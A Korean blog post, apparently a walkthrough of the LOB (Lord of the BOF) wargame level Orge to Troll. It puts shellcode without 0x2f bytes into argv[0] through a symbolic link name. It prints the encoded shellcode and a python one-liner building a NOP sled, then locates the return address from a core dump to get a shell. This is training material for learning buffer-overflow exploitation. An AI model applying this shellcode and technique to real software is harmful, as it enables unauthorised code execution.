LOB : Orge→Troll

LOB 2018. 4. 9. 13:15

Troll.c의 코드는 한결 더 빡세어졌다. 


우선 argc != 2로 agrv가 2가 아니면 exit하고,

환경변수를 모두 0으로 바꾸며,

argv[1][47]은 0xbf 여야 하고,

argv[1]의 길이는 48이하여야하며,

프로그램 전에 buffer을 초기화하고,

argv[1]도 초기화한다.


싸그리다 제한하고 초기화시켜버리니 BOF할 구석이 없어보인다.


하지만 유심히 보면 초기화 되지 않은 곳이 한구석 있다. 바로 argv[0]이다.


전 문제에서도 말했듯이 심볼릭 링크로 파일이름을 바꾸는게 가능하다.


따라서 이번엔 파일이름에 쉘코드를 넣어볼 생각이다.


우선 쉘코드를 넣기 전에 알아야 할것이 있는데


'0x2f'이다. 이 코드가 들어간 쉘코드는 사용할 수 없다. 왜냐하면 리눅스에선 0x2f를 '/' 즉 디렉토리 구분으로 생각하기 때문이다.


만약 0x2f가 들어간 쉘코드를 사용하면 다음과 같이 된다.



따라서 새로운 쉘코드를 구해야 했다.


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff

\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff

\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69

\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a

\xb1\x0c\xce\x81

 이 쉘코드는 바이트 수로 봤을 땐 엄청난 크기를 자랑하지만 0x2f가 없다는 것만으로 감사해야한다.



이 쉘코드로는 링크 형성이 가능하다!


ls로 보면 매우 깨져보이지만 말이다.


그럼 이 파일을 실행하고 싶을 떈 어떡해야할까?


./???????~~~~~를 입력해서는 안되고


./`python -c 'print "\x90"*50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80

\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1

\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4

\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` [인자]


처럼 파일이름을 python으로 짜서 넘겨줘야 한다.


그럼 이제 쉘코드를 넣었으니 argv[0]의 주소를 구해야 한다.


먼저 temp에 troll을 복사한 후 core을 떨어뜨려 보았다.




보아하니 주소 맨 뒤쪽에 넣은 코드들이 보인다.

0xbfffffa0 정도부터 0x90이 보인다.


그래서 이 주소로 ret하면, 

세폴이 뜬다.


엥? 뭐가 문제지? 하고 코어를 다시한번 보았다.


앗 자세히 보니 0xbffffb10정도부터도 0x90이 있는것이 보인다.


이 주소로 ret해보자.


바로 쉘을 얻을 수 있었다.

'LOB' 카테고리의 다른 글

LOB:Vampire→Skeleton  (0) 2018.04.09
LOB : Troll→Vampire  (0) 2018.04.09
LOB : Darkelf→Orge  (0) 2018.04.09
LOB : Wolfman → Darkelf  (0) 2018.04.08
LOB : Orc → Wolfman  (0) 2018.04.08
블로그 이미지

천재보다는 범재

,